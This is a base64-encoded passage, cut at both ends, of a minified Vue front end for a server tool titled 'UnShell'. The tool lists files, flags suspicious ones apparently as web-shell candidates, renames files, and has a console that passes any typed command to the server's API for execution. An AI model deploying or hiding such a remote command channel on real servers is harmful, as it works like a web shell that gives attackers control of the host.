PXJlbmFtZSZyZW5hbWVfZnJvbT0iK24uZnVsbF9wYXRoKyImcmVuYW1lX3RvPSIrcztmZXRjaChvKS50aGVuKHI9PntpZighci5vayl0aHJvdyBuZXcgRXJyb3IoIk5ldHdvcmsgcmVzcG9uc2Ugd2FzIG5vdCBvayIpO3JldHVybiByLmpzb24oKX0pLnRoZW4ocj0+e2lmKHIucmVzdWx0X21lc3NhZ2UhPT0iIil7ZSgiVUkvYWRkRXJyb3IiLHIucmVzdWx0X2NvZGUrIjoiK3IucmVzdWx0X21lc3NhZ2Use3Jvb3Q6ITB9KTtyZXR1cm59ZSgiVUkvYWRkTWVzc2FnZSIsbi5iYXNlX25hbWUrIiBpcyByZW5hbWVkIHRvICIrcyx7cm9vdDohMH0pLHQoTC5SRU1PVkUsbiksZSgiZ2V0TWFpbkluZm8iKX0pLmNhdGNoKHI9PntlKCJVSS9hZGRFcnJvciIscix7cm9vdDohMH0pLHQoTC5MT0FESU5HX0ZBSUwpfSkuZmluYWxseSgoKT0+e2UoIlVJL2VuZFdvcmsiLG51bGwse3Jvb3Q6ITB9KX0pfX0sSmg9e1tMLlNFVF9NQUlOX0lORk9dKGUsdCl7ZS5leHRlbnNpb25zPXQuZXh0ZW5zaW9ucyxlLmRiX3NpemU9dC5kYl9zaXplLGUub3duZXJfaWQ9dC5vd25lcl9pZCxlLm93bmVyPXQub3duZXIsZS53cml0YWJsZT10LndyaXRhYmxlLGUucGVybXM9dC5wZXJtcyxlLnRpdGxlPXQudGl0bGUsZS52ZXJzaW9uPXQudmVyc2lvbixlLndvcmtpbmdfZGlyZWN0b3J5PXQuZGlyZWN0b3J5LGUuc2VydmVyPXQuU0VSVkVSX1NPRlRXQVJFLGUuc2VydmVyX3NpZ25hdHVyZT10LlNFUlZFUl9TSUdOQVRVUkUsZS5teV9pcD10LlJFTU9URV9BRERSLGUucm9vdF9kaXJlY3Rvcnk9dC5yb290X2RpcmVjdG9yeSxlLmRpcmVjdG9yeV9zZXBhcmF0b3I9dC5kaXJlY3Rvcnlfc2VwYXJhdG9yLGUuc2VydmVyX25hbWU9dC5zZXJ2ZXJfbmFtZSxlLnNlcnZlcl9wb3J0PXQuc2VydmVyX3BvcnQsZS5yZXF1ZXN0X3VyaT10LnJlcXVlc3RfdXJpLGUuaHR0cHM9dC5odHRwc30sW0wuTE9BRElOR19GQUlMXShlLHQpe2UuaXNPSz0hMSxlLnN0YXR1c01lc3NhZ2U9IkZhaWxlZCB0byBsb2FkIGZpbGVzIGxpc3Q6ICIrdCxlLnN0YXRlPSJFUlJPUiJ9LFtMLkxPQURJTkdfU1RBUlRdKGUpe2UubG9hZGluZz0hMCxlLmlzT0s9ITAsZS5zdGF0ZT0iTE9BRElORyJ9LFtMLlNFVF9XT1JLSU5HX0RJUl0oZSx0KXtlLndvcmtpbmdfZGlyZWN0b3J5PXR9LFtMLlNFVF9TQ0FOX1NVQkRJUlNdKGUsdCl7ZS5zY2FuU3ViZGlycz10fSxbTC5TRVRfT05MWV9FWFRdKGUsdCl7ZS5zaG93T25seUV4dD10fSxbTC5TRVRdKGUsdCl7ZS5pdGVtcz10fSxbTC5MT0FESU5HX09LXShlKXtlLmxvYWRpbmc9ITEsZS5pc09LPSEwLGUuc3RhdHVzTWVzc2FnZT0iT0siLGUuc3RhdGU9IklETEUifSxbTC5BRERdKGUsdCl7ZS5pdGVtcy5wdXNoKHQpfSxbTC5SRU1PVkVdKGUsdCl7ZS5pdGVtcy5mb3JFYWNoKChuLHMpPT57bi5mdWxsX3BhdGg9PT10LmZ1bGxfcGF0aCYmKGUuc2VsZWN0ZWRfZmlsZSYmdC5mdWxsX3BhdGg9PT1lLnNlbGVjdGVkX2ZpbGUuZnVsbF9wYXRoJiYoZS5zZWxlY3RlZF9maWxlPW51bGwsZS5maWxlX2luZGV4PW51bGwpLGUuaXRlbXMuc3BsaWNlKHMsMSkpfSl9LFtMLk5PUk1BTElaRV9GSUxFU10oZSx0KXtsZXQgbj0wO2ZvcihsZXQgcz0wO3M8ZS5pdGVtcy5sZW5ndGg7cysrKXQuZmluZChvPT5vLmZ1bGxfcGF0aD09PWUuaXRlbXNbc10uZnVsbF9wYXRoKSYmKGUuaXRlbXNbbisrXT1lLml0ZW1zW3NdKTtlLml0ZW1zLmxlbmd0aD1ufSxbTC5VUERBVEVdKGUsdCl7ZS5pdGVtcy5mb3JFYWNoKChuLHMpPT57bi5mdWxsX3BhdGg9PT10LmZ1bGxfcGF0aCYmZS5pdGVtcy5zcGxpY2UocywxLHQpfSl9LFtMLk5FWFRfRklMRV0oZSx7Z2V0dGVyczp0fSl7ZS5maWxlX2luZGV4IT09dC5maWx0ZXJlZEZpbGVzLmxlbmd0aC0xJiYoZS5maWxlX2luZGV4PWUuZmlsZV9pbmRleCsxLGUuc2VsZWN0ZWRfZmlsZT10LmZpbHRlcmVkRmlsZXNbZS5maWxlX2luZGV4XSl9LFtMLlBSRVZfRklMRV0oZSx7Z2V0dGVyczp0fSl7ZS5maWxlX2luZGV4IT09MCYmKGUuZmlsZV9pbmRleD1lLmZpbGVfaW5kZXgtMSxlLnNlbGVjdGVkX2ZpbGU9dC5maWx0ZXJlZEZpbGVzW2UuZmlsZV9pbmRleF0pfSxbTC5TRVRfQ1VSUkVOVF9GSUxFXShlLHQpe2Uuc2VsZWN0ZWRfZmlsZT10LGUuZmlsZV9pbmRleD1lLml0ZW1zLmluZGV4T2YodCl9LFtMLlVOU0VUX0NVUlJFTlRfRklMRV0oZSl7ZS5zZWxlY3RlZF9maWxlPW51bGwsZS5maWxlX2luZGV4PW51bGx9LFtMLlNFVF9UT1RBTF0oZSx0KXtlLnRvdGFsX3Jvd3M9dH0sW0wuU0VUX0ZJTFRFUl9NT0RFXShlLHQpe2UuZmlsdGVyTW9kZT10fSxbTC5TRVRfU09SVF9LRVldKGUsdCl7ZS5zb3J0X2tleT10LG9lLmxvY2FsU3RvcmFnZS5zZXQoIk1haW46c29ydF9rZXkiLHQpfSxbTC5TRVRfU0VBUkNIX1NUUl0oZSx0KXtlLnNlYXJjaF9zdHJpbmc9dCxvZS5sb2NhbFN0b3JhZ2Uuc2V0KCJNYWluOnNlYXJjaF9zdHJpbmciLHQpfSxbTC5TRVRfUkVWRVJTRV0oZSx0KXtlLnJldmVyc2U9dCxvZS5sb2NhbFN0b3JhZ2Uuc2V0KCJNYWluOnJldmVyc2UiLHQpfX0sWWg9e2ZpbHRlcmVkRGlyczpmdW5jdGlvbihlKXtyZXR1cm4gZS5pdGVtcy5maWx0ZXIodD0+T2JqZWN0LmtleXModCkuc29tZShuPT5TdHJpbmcodFtuXSkuaW5kZXhPZihlLnNlYXJjaF9zdHJpbmcpPi0xKSYmdC50eXBlPT09ImRpciIpLnNvcnQoKHQsbik9Pih0PXRbZS5zb3J0X2tleV0sbj1uW2Uuc29ydF9rZXldLCh0PT09bj8wOnQ+bj8xOi0xKSplLnJldmVyc2UpKX0sZmlsdGVyZWRGaWxlczpmdW5jdGlvbihlKXtyZXR1cm4gZS5pdGVtcy5maWx0ZXIodD0+ZS5maWx0ZXJNb2RlPT09ImFsbCI/T2JqZWN0LmtleXModCkuc29tZShuPT5TdHJpbmcodFtuXSkuaW5kZXhPZihlLnNlYXJjaF9zdHJpbmcpPi0xKSYmdC50eXBlIT09ImRpciI6ZS5maWx0ZXJNb2RlPT09InN1c3BpY2lvdXMiP09iamVjdC5rZXlzKHQpLnNvbWUobj0+U3RyaW5nKHRbbl0pLmluZGV4T2YoZS5zZWFyY2hfc3RyaW5nKT4tMSkmJnQudHlwZSE9PSJvayImJnQudHlwZSE9PSJkaXIiJiZ0LnR5cGUhPT0ibi9hIjpPYmplY3Qua2V5cyh0KS5zb21lKG49PlN0cmluZyh0W25dKS5pbmRleE9mKGUuc2VhcmNoX3N0cmluZyk+LTEpJiZ0LnR5cGUhPT0iZGlyIikuc29ydCgodCxuKT0+KHQ9dFtlLnNvcnRfa2V5XSxuPW5bZS5zb3J0X2tleV0sKHQ9PT1uPzA6dD5uPzE6LTEpKmUucmV2ZXJzZSkpfSxvbmx5RmlsZXM6ZnVuY3Rpb24oZSl7cmV0dXJuIGUuaXRlbXMuZmlsdGVyKHQ9Pk9iamVjdC5rZXlzKHQpLnNvbWUobj0+U3RyaW5nKHRbbl0pLnRvTG93ZXJDYXNlKCkuaW5kZXhPZihlLnNlYXJjaF9zdHJpbmcpPi0xJiZ0LnR5cGUhPT0iZGlyIikpLnNvcnQoKHQsbik9Pih0PXRbZS5zb3J0X2tleV0sbj1uW2Uuc29ydF9rZXldLCh0PT09bj8wOnQ+bj8xOi0xKSplLnJldmVyc2UpKX0sc3VzcGljaW91c0ZpbGVzOmZ1bmN0aW9uKGUpe3JldHVybiBlLml0ZW1zLmZpbHRlcih0PT5PYmplY3Qua2V5cyh0KS5zb21lKG49PlN0cmluZyh0W25dKS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoZS5zZWFyY2hfc3RyaW5nKT4tMSYmdC50eXBlIT09Im9rIiYmdC50eXBlIT09ImRpciImJnQudHlwZSE9PSJuL2EiKSkuc29ydCgodCxuKT0+KHQ9dFtlLnNvcnRfa2V5XSxuPW5bZS5zb3J0X2tleV0sKHQ9PT1uPzA6dD5uPzE6LTEpKmUucmV2ZXJzZSkpfX0scWg9e2l0ZW1zOltdLHN0YXRlOiJJRExFIixpc09LOiEwLHN0YXR1c01lc3NhZ2U6IiIscGFnZTowLHBlcl9wYWdlOjMwMCxzZXJ2ZXI6IiIsc2VydmVyX3NpZ25hdHVyZToiIixteV9pcDoiIix3b3JraW5nX2RpcmVjdG9yeToiIixyb290X2RpcmVjdG9yeToiIixkaXJlY3Rvcnlfc2VwYXJhdG9yOiIiLHNlcnZlcl9uYW1lOiIiLHNlcnZlcl9wb3J0OiIiLHJlcXVlc3RfdXJpOiIiLGh0dHBzOiJubyIsZXh0ZW5zaW9uczoiIixkYl9zaXplOjAsb3duZXJfaWQ6MCxvd25lcjoiIix3cml0YWJsZTohMCxwZXJtczoiIix0aXRsZToiVW5TaGVsbCIsdmVyc2lvbjoiMC4xIixyZXZlcnNlOm9lLmxvY2FsU3RvcmFnZS5pc1NldCgiTWFpbjpyZXZlcnNlIik/b2UubG9jYWxTdG9yYWdlLmdldCgiTWFpbjpyZXZlcnNlIik6MSxzb3J0X2tleTpvZS5sb2NhbFN0b3JhZ2UuaXNTZXQoIk1haW46c29ydF9rZXkiKT9vZS5sb2NhbFN0b3JhZ2UuZ2V0KCJNYWluOnNvcnRfa2V5Iik6InNoZWxsZmxhZyIsZmlsZV9pbmRleDotMSxzZWxlY3RlZF9maWxlOm51bGwsc2NhblN1YmRpcnM6b2UubG9jYWxTdG9yYWdlLmlzU2V0KCJNYWluOnNjYW5TdWJkaXJzIik/b2UubG9jYWxTdG9yYWdlLmdldCgiTWFpbjpzY2FuU3ViZGlycyIpOiExLHNob3dPbmx5RXh0Om9lLmxvY2FsU3RvcmFnZS5pc1NldCgiTWFpbjpzaG93T25seUV4dCIpP29lLmxvY2FsU3RvcmFnZS5nZXQoIk1haW46c2hvd09ubHlFeHQiKTohMSxmaWx0ZXJNb2RlOm9lLmxvY2FsU3RvcmFnZS5pc1NldCgiTWFpbjpmaWx0ZXIiKT9vZS5sb2NhbFN0b3JhZ2UuZ2V0KCJNYWluOmZpbHRlciIpOiJhbGwiLHNlYXJjaF9zdHJpbmc6b2UubG9jYWxTdG9yYWdlLmlzU2V0KCJNYWluOnNlYXJjaF9zdHJpbmciKT9vZS5sb2NhbFN0b3JhZ2UuZ2V0KCJNYWluOnNlYXJjaF9zdHJpbmciKToiIn0sWGg9e25hbWVzcGFjZWQ6ITAsbXV0YXRpb25zOkpoLGFjdGlvbnM6V2gsc3RhdGU6cWgsZ2V0dGVyczpZaH0sWmg9e2FkZENvbW1hbmQoe2NvbW1pdDplLGRpc3BhdGNoOnR9LHtjb21tYW5kOm4sZGlyOnN9KXtjb25zdCBvPXtjbWQ6bixkaXI6cyxsb2FkaW5nOiEwLGZhaWw6ITEsb3V0cHV0OltdfTtlKEdlLkFERF9DT01NQU5ELG8pLHQoImV4ZWN1dGVDb21tYW5kIixvKX0sZXhlY3V0ZUNvbW1hbmQoe2NvbW1pdDplLGRpc3BhdGNoOnR9LG4pe2xldCBzPU9lLmFwaV91cmwrIj90YXNrPWNtZCZkaXI9IituLmRpcisiJmNtZD0iK24uY21kO2ZldGNoKHMpLnRoZW4obz0+e2lmKCFvLm9rKXRocm93IG5ldyBFcnJvcigiTmV0d29yayByZXNwb25zZSB3YXMgbm90IG9rIik7cmV0dXJuIG8uanNvbigpfSkudGhlbihvPT57ZShHZS5MT0FESU5HX09LKSxvLnJlc3VsdF9tZXNzYWdlIT09IiImJm8ucmVzdWx0X21lc3NhZ2UmJih0KCJVSS9hZGRFcnJvciIsby5yZXN1bHRfbWVzc2FnZSx7cm9vdDohMH0pLGUoR2UuTE9BRElOR19GQUlMLG4pKSxvLm91dHB1dD9lKEdlLkFERF9SRVNVTFQse2NvbW1hbmQ6bixyZXN1bHQ6by5vdXRwdXR9KTplKEdlLkFERF9SRVNVTFQse2NvbW1hbmQ6bixyZXN1bHQ6IiJ9KSxvLndvcmtpbmdfZGlyZWN0b3J5JiZ0KCJmaWxlcy9zZXRCdXRDaGVja1dvcmtpbmdEaXJlY3RvcnkiLG8ud29ya2luZ19kaXJlY3Rvcnkse3Jvb3Q6ITB9KX0pLmNhdGNoKG89Pnt0KCJVSS9hZGRFcnJvciIsby5tZXNzYWdlLHtyb290OiEwfSksZShHZS5MT0FESU5HX0ZBSUwsbil9KS5maW5hbGx5KCgpPT57dCgiVUkvZW5kV29yayIsbnVsbCx7cm9vdDohMH0pfSl9fSxRaD17W0dlLkFERF9DT01NQU5EXShlLHQpe2UuY29tbWFuZHMucHVzaCh0KSxlLmhpc3RvcnkucHVzaCh0LmNtZCksb2UubG9jYWxTdG9yYWdlLnNldCgiQ29uc29sZTpoaXN0b3J5IixlLmhpc3RvcnkpfSxbR2UuQUREX1JFU1VMVF0oZSx7Y29tbWFuZDp0LHJlc3VsdDpufSl7dC5vdXRwdXQ9bix0LmxvYWRpbmc9ITF9LFtHZS5MT0FESU5HX1NUQVJUXShlKXtlLnN0YXRlPSJMT0FESU5HIn0sW0dlLkxPQURJTkdfT0tdKGUpe2Uuc3RhdGU9IklETEUifSxbR2UuTE9BRElOR19GQUlMXShlLHQpe3QuZmFpbD0hMCx0LmxvYWRpbmc9ITEsZS5zdGF0ZT0iRkFJTCJ9fSxlXz17ZGF0YTplPT5lLmRhdGEsbGFzdF9tZXNzYWdlOmU9PmUubGFzdF9tZXNzYWdlfSx0Xz17c3RhdGU6IklETEUiLGNvbW1hbmRzOltdLGhpc3Rvcnk6b2UubG9jYWxTdG9yYWdlLmlzU2V0KCJDb25zb2xlOmhpc3RvcnkiKT9vZS5sb2NhbFN0b3JhZ2UuZ2V0KCJDb25zb2xlOmhpc3RvcnkiKTpbXX0sbl89e25hbWVzcGFjZWQ6ITAsbXV0YXRpb25zOlFoLGFjdGlvbnM6Wmgsc3RhdGU6dF8sZ2V0dGVyczplX30sc189Vmgoe21vZHVsZXM6e1VJOnpoLGZpbGVzOlhoLENvbnNvbGU6bl99fSksSXQ9SGMocGgpO0l0LnVzZShzXyk7SXQuY29uZmlnLmdsb2JhbFByb3BlcnRpZXMuaXNGaWxlQXBwcm92ZWQ9ZT0+b2UubG9jYWxTdG9yYWdlLmlzU2V0KGUpP29lLmxvY2FsU3RvcmFnZS5nZXQoZSk6ITE7SXQuY29uZmlnLmdsb2JhbFByb3BlcnRpZXMudG9nZ2xlRmlsZUFwcHJvdmVkPWU9PntvZS5sb2NhbFN0b3JhZ2Uuc2V0KGUsIUl0LmNvbmZpZy5nbG9iYWxQcm9wZXJ0aWVzLmlzRmlsZUFwcHJvdmVkKGUpKX07SXQuY29uZmlnLmdsb2JhbFByb3BlcnRpZXMubmljZUludE51bWJlcj0oZSx0KT0+e2xldCBuPSIiK2U7cmV0dXJuIHQuc3Vic3RyaW5nKDAsdC5sZW5ndGgtbi5sZW5ndGgpK259O0l0LmNvbmZpZy5nbG9iYWxQcm9wZXJ0aWVzLmh1bWFuRmlsZVNpemU9KGUsdCk9PntsZXQgbj10PzFlMzoxMDI0O2lmKE1hdGguYWJzKGUpPG4pcmV0dXJuIGUrIiBCIjt2YXIgcz10P1sia0IiLCJNQiIsIkdCIiwiVEIiLCJQQiIsIkVCIiwiWkIiLCJZQiJdOlsiS2lCIiwiTWlCIiwiR2lCIiwiVGlCIiwiUGlCIiwiRWlCIiwiWmlCIiwiWWlCIl07bGV0IG89LTE7ZG8gZS89biwrK287d2hpbGUoTWF0aC5hYnMoZSk+PW4mJm88cy5sZW5ndGgtMSk7cmV0dXJuIGUudG9GaXhlZCgxKSsiICIrc1tvXX07SXQubW91bnQoIiNhcHAiKTsKCjwvc2NyaXB0PgogICAgPHN0eWxlPgojY29uc29sZS1ib3g+ZGl2PmRpdj5zcGFuPnN0cm9uZ3t0ZXh0LXNoYWRvdzoxcHggLTFweCAwcHggI0FBQX0jY29uc29sZS1ib3hbZGF0YS12LWI3ZTc0YTBkXXtjb2xvcjojYjRiNGI0O3dpZHRoOjEwMCU7aGVpZ2h0OjNyZW07YmFja2dyb3VuZC1jb2xvcjojNWE1YTVhO292ZXJmbG93LXk6YXV0bztmb250LWZhbWlseTptb25vc3BhY2V9I2NvbnNvbGUtYm94LmFjdGl2ZVtkYXRhLXYtYjdlNzRhMGRde2NvbG9yOiNmZmZ9I2NvbnNvbGUtYm94IGRpdi5yZXNbZGF0YS12LWI3ZTc0YTBkXXtkaXNwbGF5OmJsb2NrO2ZsZXg6MSAxMDAlO3RleHQtYWxpZ246bGVmdH1pbnB1dFtkYXRhLXYtYjdlNzRhMGRde29wYWNpdHk6MDtwb3NpdGlvbjpmaXhlZH0jY29uc29sZS1ib3ggZGl2LmJsaW5rW2RhdGEtdi1iN2U3NGEwZF17bWFyZ2luOjA7bWluLXdpZHRoOjVweDtkaXNwbGF5OmlubGluZS1ibG9jaztiYWNrZ3JvdW5kLWNvbG9yOiM5OTk7Y29sb3I6I2ZmZn1kaXYuYWN0aXZlLmJsaW5rW2RhdGEtdi1iN2U3NGEwZF17YmFja2dyb3VuZC1jb2xvcjojZmZmfUBrZXlmcmFtZXMgYmxpbmtlci1iN2U3NGEwZHswJXtiYWNrZ3JvdW5kLWNvbG9yOiM5OTl9MjQle2JhY2tncm91bmQtY29sb3I6Izk5OX00OSV7YmFja2dyb3VuZC1jb2xvcjojOTk5fTUwJXtiYWNrZ3JvdW5kLWNvbG9yOiM1ZjVlNWV9OTgle2JhY2tncm91bmQtY29sb3I6Izk5OTtjb2xvcjojZmZmfX0jY29uc29sZS1ib3guZXhwYW5kZWRbZGF0YS12LWI3ZTc0YTBkXXtoZWlnaHQ6MjByZW19I2NvbnNvbGUtYm94IGRpdltkYXRhLXYtYjdlNzRhMGRde21hcmdpbjouMTVyZW07Zm9udC1zaXplOi43cmVtO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1pdGVtczpjZW50ZXI7ZmxleC13cmFwOndyYXB9I2NvbnNvbGUtYm94IHN2Z1tkYXRhLXYtYjdlNzRhMGRde21heC1oZWlnaHQ6LjhyZW19Lndhcm4gc3ZnW2RhdGEtdi1iN2U3NGEwZF17Y29sb3I6I2ZmN2EyY30uZXJyb3Igc3ZnW2RhdGEtdi1iN2U3NGEwZF17Y29sb3I6I2ZmMDAwNX0uaW5mbyBzdmdbZGF0YS12LWI3ZTc0YTBkXXtjb2xvcjojMDBlfS5saXN0LWVudGVyLWFjdGl2ZVtkYXRhLXYtYjdlNzRhMGRdLC5saXN0LWxlYXZlLWFjdGl2ZVtkYXRhLXYtYjdlNzRhMGRde3RyYW5zaXRpb246YWxsIC4xc30ubGlzdC1lbnRlcltkYXRhLXYtYjdlNzRhMGRdLC5saXN0LWxlYXZlLXRvW2RhdGEtdi1iN2U3NGEwZF17b3BhY2l0eTowfS5zdmctYnV0dG9uW2RhdGEtdi1iN2U3NGEwZF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1jb2xvcjojZTMyMjM3O2NvbG9yOiNmZmY7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoxMDAxMDA7Ym9yZGVyLXJhZGl1czo1MCU7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmNjU3NDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmZjY1NzQ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2E4MWEyNztib3JkZXItbGVmdDoxcHggc29saWQgI2E4MWEyNztib3gtc2hhZG93OjAgMCA1cHggMXB4ICMwMDAsMCAwIDJweCAycHggI2ZmMjIzYzt3aWR0aDoycmVtO2hlaWdodDoycmVtO2Zsb2F0OnJpZ2h0O3JpZ2h0OjEuNXJlbTtib3R0b206MnJlbX0uc3ZnLWNsb3NlLWJ1dHRvbltkYXRhLXYtYjdlNzRhMGRde2JhY2tncm91bmQtY29sb3I6I2UzMjIzNztjb2xvcjojZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNmZjY1NzQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmY2NTc0O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNhODFhMjc7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNhODFhMjc7Ym94LXNoYWRvdzowIDAgNXB4IDFweCAjMDAwLDAgMCAycHggMnB4ICNmZjIyM2M7dHJhbnNmb3JtOnJvdGF0ZVkoMzYwZGVnKTtib3R0b206MTlyZW07dHJhbnNpdGlvbjphbGwgLjVzO2JvcmRlci1yYWRpdXM6LjNyZW19LnN2Zy1leHBhbmQtYnV0dG9uW2RhdGEtdi1iN2U3NGEwZF17YmFja2dyb3VuZC1jb2xvcjojMmJlMzJkO2NvbG9yOiNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgIzdkZmY3NTtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICM3ZGZmNzU7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzFjOTQxZDtib3JkZXItbGVmdDoxcHggc29saWQgIzFjOTQxZDtib3gtc2hhZG93OjAgMCA1cHggMXB4ICMwMDAsMCAwIDJweCAycHggIzFjOTQxZDt0cmFuc2Zvcm06cm90YXRlWSgtMzYwZGVnKTt0cmFuc2l0aW9uOmFsbCAuNXN9LnN2Zy1vcGVuLWJ1dHRvbltkYXRhLXYtYjdlNzRhMGRde2JhY2tncm91bmQtY29sb3I6IzU4YzhlMztjb2xvcjojZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNhY2VjZmY7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjYWNlY2ZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzYTViNzQ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICMzYTViNzQ7Ym94LXNoYWRvdzowIDAgNXB4IDFweCAjMDAwLDAgMCAycHggMnB4ICMzYTViNzQ7dHJhbnNmb3JtOnJvdGF0ZVkoLTM2MGRlZyk7dHJhbnNpdGlvbjphbGwgLjVzO2JvdHRvbTotLjVyZW19I21lc3NhZ2UtYm94PmRpdj5wPnNwYW4+c3Ryb25ne3RleHQtc2hhZG93OjFweCAtMXB4IDBweCAjQ0NDQ0NDfSNtZXNzYWdlLWJveFtkYXRhLXYtOGE1YTc5ODFde3dpZHRoOjEwMCU7aGVpZ2h0OjNyZW07YmFja2dyb3VuZC1jb2xvcjojZmZmN2E4O292ZXJmbG93LXk6YXV0bztmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjFyZW19I21lc3NhZ2UtYm94LmV4cGFuZGVkW2RhdGEtdi04YTVhNzk4MV17aGVpZ2h0OjIwcmVtfSNtZXNzYWdlLWJveCBwW2RhdGEtdi04YTVhNzk4MV17ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWl0ZW1zOmNlbnRlcn0jbWVzc2FnZS1ib3ggc3ZnW2RhdGEtdi04YTVhNzk4MV17bWF4LWhlaWdodDoxLjZyZW19Lndhcm4gc3ZnW2RhdGEtdi04YTVhNzk4MV17Y29sb3I6I2ZmN2EyY30uZXJyb3JbZGF0YS12LThhNWE3OTgxXXtjb2xvcjojZmYwMDA1fS5pbmZvIHN2Z1tkYXRhLXYtOGE1YTc5ODFde2NvbG9yOiMwMGV9Lmxpc3QtZW50ZXItYWN0aXZlW2RhdGEtdi04YTVhNzk4MV0sLmxpc3QtbGVhdmUtYWN0aXZlW2RhdGEtdi04YTVhNzk4MV17dHJhbnNpdGlvbjphbGwgMXN9Lmxpc3QtZW50ZXJbZGF0YS12LThhNWE3OTgxXSwubGlzdC1sZWF2ZS10b1tkYXRhLXYtOGE1YTc5ODFde29wYWNpdHk6MH0uc3ZnLWJ1dHRvbiBzdmdbZGF0YS12LThhNWE3OTgxXXt3aWR0aDoyNHB4fS5zdmctYnV0dG9uW2RhdGEtdi04YTVhNzk4MV17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1jb2xvcjojZTMyMjM3O2NvbG9yOiNmZmY7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoxMDAxMDA7Ym9yZGVyLXJhZGl1czoxNSU7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmNjU3NDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmZjY1NzQ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2E4MWEyNztib3JkZXItbGVmdDoxcHggc29saWQgI2E4MWEyNztib3gtc2hhZG93OjAgMCA1cHggMXB4ICMwMDAsMCAwIDJweCAycHggI2ZmMjIzYzt3aWR0aDoycmVtO2hlaWdodDoycmVtO2Zsb2F0OnJpZ2h0O3JpZ2h0OjEuNXJlbTtib3R0b206M3JlbX0uc3ZnLWNsb3NlLWJ1dHRvbltkYXRhLXYtOGE1YTc5ODFde2JhY2tncm91bmQtY29sb3I6I2UzMjIzNztjb2xvcjojZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNmZjY1NzQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmY2NTc0O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNhODFhMjc7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNhODFhMjc7Ym94LXNoYWRvdzowIDAgNXB4IDFweCAjMDAwLDAgMCAycHggMnB4ICNmZjIyM2M7dHJhbnNmb3JtOnJvdGF0ZVkoMTgwZGVnKTtib3R0b206MjByZW07dHJhbnNpdGlvbjphbGwgLjVzO2JvcmRlci1yYWRpdXM6LjNyZW19LnN2Zy1leHBhbmQtYnV0dG9uW2RhdGEtdi04YTVhNzk4MV17YmFja2dyb3VuZC1jb2xvcjojMmJlMzJkO2NvbG9yOiNmZmY7Ym9yZGVyLXRvcDoxcHggc29saWQgIzdkZmY3NTtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICM3ZGZmNzU7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzFjOTQxZDtib3JkZXItbGVmdDoxcHggc29saWQgIzFjOTQxZDtib3gtc2hhZG93OjAgMCA1cHggMXB4ICMwMDAsMCAwIDJweCAycHggIzFjOTQxZDt0cmFuc2Zvcm06cm90YXRlWSgtMTgwZGVnKTt0cmFuc2l0aW9uOmFsbCAuNXN9LnN2Zy1vcGVuLWJ1dHRvbltkYXRhLXYtOGE1YTc5ODFde2JhY2tncm91bmQtY29sb3I6IzU4YzhlMztjb2xvcjojZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNhY2VjZmY7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjYWNlY2ZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzYTViNzQ7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICMzYTViNzQ7Ym94LXNoYWRvdzowIDAgNXB4IDFweCAjMDAwLDAgMCAycHggMnB4ICMzYTViNzQ7dHJhbnNmb3JtOnJvdGF0ZVkoMTgwZGVnKTt0cmFuc2l0aW9uOmFsbCAuNXM7Ym90dG9tOi0uNXJlbX0jbGlua0xpc3QgdWwgbGkuZmlsZVNvdXJjZVtkYXRhLXYtYWRlY2IyMGVde3BhZGRpbmc6LjJyZW07YmFja2dyb3VuZC1jb2xvcjojZmZhMDExO2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmEwMTE7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmYTAxMTtwYWRkaW5nOjAgLjJyZW19LnBhbmVsIGJ1dHRvbltkYXRhLXYtYWRlY2IyMGVde2NvbG9yOiNmZmY7Ym9yZGVyLXJhZGl1czouMnJlbTttYXJnaW46LjI1cmVtO2JhY2tncm91bmQtY29sb3I6I2NjYztib3JkZXItYm90dG9tOjFweCBzb2xpZCAjOTk5OTk5O2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjOTk5OTk5O2JvcmRlci10b3A6MnB4IHNvbGlkICNFRUVFRUU7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjRUVFRUVFO291dGxpbmU6bm9uZX0jc29tZVtkYXRhLXYtYWRlY2IyMGVde2ZsZXg6MSAxMDAlfSNsaXN0LXdyYXBbZGF0YS12LWFkZWNiMjBlXXtvdmVyZmxvdy15OmF1dG99I2xpc3Qtd3JhcCAuY29kZS10b29sYmFyW2RhdGEtdi1hZGVjYjIwZV17aGVpZ2h0OjEwMCU7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOnJvdztmbGV4LXdyYXA6bm93cmFwO2FsaWduLWNvbnRlbnQ6Y2VudGVyO2